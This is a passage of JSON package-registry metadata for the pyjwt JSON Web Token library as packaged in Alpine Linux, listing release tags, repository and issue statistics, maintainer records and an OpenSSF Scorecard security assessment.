d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.965Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.23","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":378,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2026-03-04T22:50:36.169Z","updated_at":"2026-03-04T22:50:36.169Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.23","url":"https://pkgs.alpinelinux.org/packages?branch=v3.23","ecosystem":"alpine","default":false,"packages_count":27574,"maintainers_count":428,"namespaces_count":2,"keywords_count":181,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":104},"icon_url":"https://github.com/alpinelinux.png","created_at":"2026-01-24T14:35:50.739Z","updated_at":"2026-06-10T05:17:06.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.23/namespaces"}},{"id":6226980,"name":"py3-jwt-cli","ecosystem":"alpine","description":"Python3 JSON Web Token implementation (CLI utility)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2019-11-05T15:33:50.000Z","latest_release_published_at":"2019-11-05T15:33:50.000Z","latest_release_number":"1.7.1-r3","last_synced_at":"2026-03-06T08:48:56.050Z","created_at":"2023-02-01T04:07:59.574Z","updated_at":"2026-05-29T04:00:35.885Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.11/main/x86_64/py3-jwt-cli","install_command":"apk add py3-jwt-cli","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadill